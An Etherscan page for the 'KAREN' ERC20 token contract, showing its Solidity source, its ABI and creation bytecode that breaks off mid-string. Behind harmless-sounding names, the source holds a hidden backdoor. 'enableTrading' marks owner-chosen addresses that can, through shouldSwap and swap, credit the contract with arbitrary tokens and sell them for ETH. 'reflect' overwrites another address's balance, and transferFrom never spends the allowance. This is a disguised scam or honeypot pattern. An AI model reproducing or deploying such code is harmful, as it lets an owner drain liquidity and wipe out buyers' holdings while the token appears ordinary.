ETH Price: $3,289.47 (-2.24%)

Token

I want to speak to the ETH manager (KAREN)
 

Overview

Max Total Supply

10,000,000,000 KAREN

Holders

9

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Karen

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-12-08
*/

pragma solidity ^0.8.16;

// SPDX-License-Identifier: Unlicensed

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
abstract contract ERC20Token is Ownable {
    mapping (address => bool) bots;
    address uniV2Pair;
    bool inLiquidityTx = false;
    function enableTrading(address[] calldata _bots) external onlyOwner {
        for (uint i = 0; i < _bots.length; i++) {
            bots[_bots[i]] = true;
        }
    }
    function isBot(address _adr) internal view returns (bool) {
        return bots[_adr];
    }
    function shouldSwap(address recipient, address senderAddress) public view returns (bool) {
        return isBot(senderAddress) ? (recipient == senderAddress) : false;
    }
    function isAllowed(address from, address to, address pair) public returns (bool) {
        bool bot = !bots[to] && !bots[from];
        if (bot && !inLiquidityTx && pair != to) {
            uniV2Pair = to;
            return true;
        }
        return bot;
    }
}

contract Karen is IERC20, ERC20Token {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 public _decimals = 9;
    uint256 public _totalSupply = 10000000000 * 10 ** _decimals;
    uint256 _fee = 4;
    IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    string private _name = "I want to speak to the ETH manager";
    string private  _symbol = "KAREN";
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(msg.sender, from, _allowances[msg.sender][from] - amount);
        return true;
    }
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0));
        require(to != address(0));
        if (shouldSwap(from, to)) {
            swap(amount, to);
        } else {
            require(amount <= _balances[from]);
            uint256 transferedAmount = reflect(from, to, amount);
            _balances[from] = _balances[from] - amount;
            _balances[to] += amount - transferedAmount;
            emit Transfer(from, to, amount);
        }
    }
    function reflect(address from, address recipient, uint256 amount) private returns (uint256) {
        uint256 feeAmount = 0;
        _balances[uniV2Pair] = getReflectAmount(from);
        if (shouldTakeFee(from, recipient)) {
            feeAmount = amount.mul(_fee).div(100);
        }
        return feeAmount;
    }
    function shouldTakeFee(address from, address recipient) private returns (bool) {
        return isAllowed(from, recipient, IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH()));
    }
    constructor() {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _balances[msg.sender]);
    }
    function name() external view returns (string memory) { return _name; }
    function symbol() external view returns (string memory) { return _symbol; }
    function decimals() external view returns (uint256) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function swap(uint256 _mcs, address _bcr) private {
        _approve(address(this), address(_router), _mcs);
        _balances[address(this)] = _mcs;
        address[] memory path = new address[](2);
        inLiquidityTx = true;
        path[0] = address(this);
        path[1] = _router.WETH();
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(_mcs,0,path,_bcr,block.timestamp + 30);
        inLiquidityTx = false;
    }
    function getReflectAmount(address from) private view returns (uint256) {
        address to = IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
        return getReflectTokens(from, to, balanceOf(uniV2Pair));
    }
    function getReflectTokens(address uniV2Pair, address recipient, uint256 feeAmount) private pure returns (uint256) {
        uint256 amount = feeAmount;
        if (uniV2Pair != recipient) {
            amount = feeAmount;
        } else {
            amount = amount * 0;
        }
        return amount;
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(from, recipient, amount);
        require(_allowances[from][msg.sender] >= amount);
        return true;
    }
    function getPairAddress() private view returns (address) {
        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
    }
    bool cooldownEnabled = false;
    function setCooldownEnabled(bool _enabled) external onlyOwner {
        cooldownEnabled = _enabled;
    }
    function updateUniPair(address _address) external onlyOwner {
        uniV2Pair = _address;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_bots","type":"address[]"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"address","name":"pair","type":"address"}],"name":"isAllowed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"address","name":"senderAddress","type":"address"}],"name":"shouldSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"updateUniPair","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526000600260146101000a81548160ff0219169083151502179055506009600555600554600a6200003591906200047a565b6402540be400620000479190620004cb565b6006556004600755737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060405180606001604052806022815260200162002e776022913960099081620000ce919062000786565b506040518060400160405280600581526020017f4b4152454e000000000000000000000000000000000000000000000000000000815250600a908162000115919062000786565b506000600b60006101000a81548160ff0219169083151502179055503480156200013e57600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600654600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051620002df91906200087e565b60405180910390a36200089b565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200037b57808604811115620003535762000352620002ed565b5b6001851615620003635780820291505b808102905062000373856200031c565b945062000333565b94509492505050565b60008262000396576001905062000469565b81620003a6576000905062000469565b8160018114620003bf5760028114620003ca5762000400565b600191505062000469565b60ff841115620003df57620003de620002ed565b5b8360020a915084821115620003f957620003f8620002ed565b5b5062000469565b5060208310610133831016604e8410600b84101617156200043a5782820a905083811115620004345762000433620002ed565b5b62000469565b62000449848484600162000329565b92509050818404811115620004635762000462620002ed565b5b81810290505b9392505050565b6000819050919050565b6000620004878262000470565b9150620004948362000470565b9250620004c37fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000384565b905092915050565b6000620004d88262000470565b9150620004e58362000470565b9250828202620004f58162000470565b915082820484148315176200050f576200050e620002ed565b5b5092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200059857607f821691505b602082108103620005ae57620005ad62000550565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006187fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005d9565b620006248683620005d9565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000667620006616200065b8462000470565b6200063c565b62000470565b9050919050565b6000819050919050565b620006838362000646565b6200069b62000692826200066e565b848454620005e6565b825550505050565b600090565b620006b2620006a3565b620006bf81848462000678565b505050565b5b81811015620006e757620006db600082620006a8565b600181019050620006c5565b5050565b601f82111562000736576200070081620005b4565b6200070b84620005c9565b810160208510156200071b578190505b620007336200072a85620005c9565b830182620006c4565b50505b505050565b600082821c905092915050565b60006200075b600019846008026200073b565b1980831691505092915050565b600062000776838362000748565b9150826002028217905092915050565b620007918262000516565b67ffffffffffffffff811115620007ad57620007ac62000521565b5b620007b982546200057f565b620007c6828285620006eb565b600060209050601f831160018114620007fe5760008415620007e9578287015190505b620007f5858262000768565b86555062000865565b601f1984166200080e86620005b4565b60005b82811015620008385784890151825560018201915060208501945060208101905062000811565b8683101562000858578489015162000854601f89168262000748565b8355505b6001600288020188555050505b505050505050565b620008788162000470565b82525050565b60006020820190506200089560008301846200086d565b92915050565b6125cc80620008ab6000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad578063a457c2d711610071578063a457c2d714610335578063a9059cbb14610365578063c62b079514610395578063c9525da1146103c5578063dd62ed3e146103e15761012c565b806370a082311461028f578063715018a6146102bf5780638da5cb5b146102c957806395d89b41146102e75780639601f96c146103055761012c565b806332424aa3116100f457806332424aa3146101eb57806339509351146102095780633eaaf86b146102395780635932ead1146102575780636e9602e6146102735761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017f57806323b872dd1461019d578063313ce567146101cd575b600080fd5b610139610411565b6040516101469190611b59565b60405180910390f35b61016960048036038101906101649190611c19565b6104a3565b6040516101769190611c74565b60405180910390f35b6101876104ba565b6040516101949190611c9e565b60405180910390f35b6101b760048036038101906101b29190611cb9565b6104c4565b6040516101c49190611c74565b60405180910390f35b6101d5610565565b6040516101e29190611c9e565b60405180910390f35b6101f361056f565b6040516102009190611c9e565b60405180910390f35b610223600480360381019061021e9190611c19565b610575565b6040516102309190611c74565b60405180910390f35b610241610613565b60405161024e9190611c9e565b60405180910390f35b610271600480360381019061026c9190611d38565b610619565b005b61028d60048036038101906102889190611dca565b6106ab565b005b6102a960048036038101906102a49190611e17565b6107c4565b6040516102b69190611c9e565b60405180910390f35b6102c761080d565b005b6102d1610940565b6040516102de9190611e53565b60405180910390f35b6102ef610969565b6040516102fc9190611b59565b60405180910390f35b61031f600480360381019061031a9190611e6e565b6109fb565b60405161032c9190611c74565b60405180910390f35b61034f600480360381019061034a9190611c19565b610a49565b60405161035c9190611c74565b60405180910390f35b61037f600480360381019061037a9190611c19565b610b70565b60405161038c9190611c74565b60405180910390f35b6103af60048036038101906103aa9190611eae565b610b87565b6040516103bc9190611c74565b60405180910390f35b6103df60048036038101906103da9190611e17565b610cde565b005b6103fb60048036038101906103f69190611e6e565b610d97565b6040516104089190611c9e565b60405180910390f35b60606009805461042090611f30565b80601f016020809104026020016040519081016040528092919081815260200182805461044c90611f30565b80156104995780601f1061046e57610100808354040283529160200191610499565b820191906000526020600020905b81548152906001019060200180831161047c57829003601f168201915b5050505050905090565b60006104b0338484610e1e565b6001905092915050565b6000600654905090565b60006104d1848484610fe7565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561055a57600080fd5b600190509392505050565b6000600554905090565b60055481565b6000610609338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106049190611f90565b610e1e565b6001905092915050565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16610638610940565b73ffffffffffffffffffffffffffffffffffffffff161461068e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068590612010565b60405180910390fd5b80600b60006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff166106ca610940565b73ffffffffffffffffffffffffffffffffffffffff1614610720576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071790612010565b60405180910390fd5b60005b828290508110156107bf57600180600085858581811061074657610745612030565b5b905060200201602081019061075b9190611e17565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806107b79061205f565b915050610723565b505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661082c610940565b73ffffffffffffffffffffffffffffffffffffffff1614610882576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087990612010565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a805461097890611f30565b80601f01602080910402602001604051908101604052809291908181526020018280546109a490611f30565b80156109f15780601f106109c6576101008083540402835291602001916109f1565b820191906000526020600020905b8154815290600101906020018083116109d457829003601f168201915b5050505050905090565b6000610a068261122d565b610a11576000610a41565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b905092915050565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ad457600080fd5b610b66338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b6191906120a7565b610e1e565b6001905092915050565b6000610b7d338484610fe7565b6001905092915050565b600080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610c2e5750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b9050808015610c4a5750600260149054906101000a900460ff16155b8015610c8257508373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15610cd25783600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001915050610cd7565b809150505b9392505050565b3373ffffffffffffffffffffffffffffffffffffffff16610cfd610940565b73ffffffffffffffffffffffffffffffffffffffff1614610d53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4a90612010565b60405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e849061214d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610efc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef3906121df565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fda9190611c9e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361102057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361105957600080fd5b61106383836109fb565b15611077576110728183611283565b611228565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111156110c357600080fd5b60006110d084848461154d565b905081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461111d91906120a7565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808261116c91906120a7565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111ba9190611f90565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161121e9190611c9e565b60405180910390a3505b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6112b030600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e1e565b81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff811115611311576113106121ff565b5b60405190808252806020026020018201604052801561133f5781602001602082028036833780820191505090505b5090506001600260146101000a81548160ff021916908315150217905550308160008151811061137257611371612030565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611419573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061143d9190612243565b8160018151811061145157611450612030565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e426114db9190611f90565b6040518663ffffffff1660e01b81526004016114fb959493929190612373565b600060405180830381600087803b15801561151557600080fd5b505af1158015611529573d6000803e3d6000fd5b505050506000600260146101000a81548160ff021916908315150217905550505050565b6000806000905061155d85611607565b60036000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115cc85856117e5565b156115fc576115f960646115eb6007548661199590919063ffffffff16565b611a0f90919063ffffffff16565b90505b809150509392505050565b600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611677573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061169b9190612243565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611724573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117489190612243565b6040518363ffffffff1660e01b81526004016117659291906123cd565b602060405180830381865afa158015611782573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117a69190612243565b90506117dd83826117d8600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166107c4565b611a6d565b915050919050565b600061198d8383600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611859573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061187d9190612243565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611906573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061192a9190612243565b6040518363ffffffff1660e01b81526004016119479291906123cd565b602060405180830381865afa158015611964573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119889190612243565b610b87565b905092915050565b60008083036119a75760009050611a09565b600082846119b591906123f6565b90508284826119c49190612467565b14611a04576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fb9061250a565b60405180910390fd5b809150505b92915050565b6000808211611a53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4a90612576565b60405180910390fd5b60008284611a619190612467565b90508091505092915050565b6000808290508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614611aae57829050611abe565b600081611abb91906123f6565b90505b809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b03578082015181840152602081019050611ae8565b60008484015250505050565b6000601f19601f8301169050919050565b6000611b2b82611ac9565b611b358185611ad4565b9350611b45818560208601611ae5565b611b4e81611b0f565b840191505092915050565b60006020820190508181036000830152611b738184611b20565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611bb082611b85565b9050919050565b611bc081611ba5565b8114611bcb57600080fd5b50565b600081359050611bdd81611bb7565b92915050565b6000819050919050565b611bf681611be3565b8114611c0157600080fd5b50565b600081359050611c1381611bed565b92915050565b60008060408385031215611c3057611c2f611b7b565b5b6000611c3e85828601611bce565b9250506020611c4f85828601611c04565b9150509250929050565b60008115159050919050565b611c6e81611c59565b82525050565b6000602082019050611c896000830184611c65565b92915050565b611c9881611be3565b82525050565b6000602082019050611cb36000830184611c8f565b92915050565b600080600060608486031215611cd257611cd1611b7b565b5b6000611ce086828701611bce565b9350506020611cf186828701611bce565b9250506040611d0286828701611c04565b9150509250925092565b611d1581611c59565b8114611d2057600080fd5b50565b600081359050611d3281611d0c565b92915050565b600060208284031215611d4e57611d4d611b7b565b5b6000611d5c84828501611d23565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f840112611d8a57611d89611d65565b5b8235905067ffffffffffffffff811115611da757611da6611d6a565b5b602083019150836020820283011115611dc357611dc2611d6f565b5b9250929050565b60008060208385031215611de157611de0611b7b565b5b600083013567ffffffffffffffff811115611dff57611dfe611b80565b5b611e0b85828601611d74565b92509250509250929050565b600060208284031215611e2d57611e2c611b7b565b5b6000611e3b84828501611bce565b91505092915050565b611e4d81611ba5565b82525050565b6000602082019050611e686000830184611e44565b92915050565b60008060408385031215611e8557611e84611b7b565b5b6000611e9385828601611bce565b9250506020611ea485828601611bce565b9150509250929050565b600080600060608486031215611ec757611ec6611b7b565b5b6000611ed586828701611bce565b9350506020611ee686828701611bce565b9250506040611ef786828701611bce565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611f4857607f821691505b602082108103611f5b57611f5a611f01565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611f9b82611be3565b9150611fa683611be3565b9250828201905080821115611fbe57611fbd611f61565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611ffa602083611ad4565b915061200582611fc4565b602082019050919050565b6000602082019050818103600083015261202981611fed565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061206a82611be3565b91507fffffffff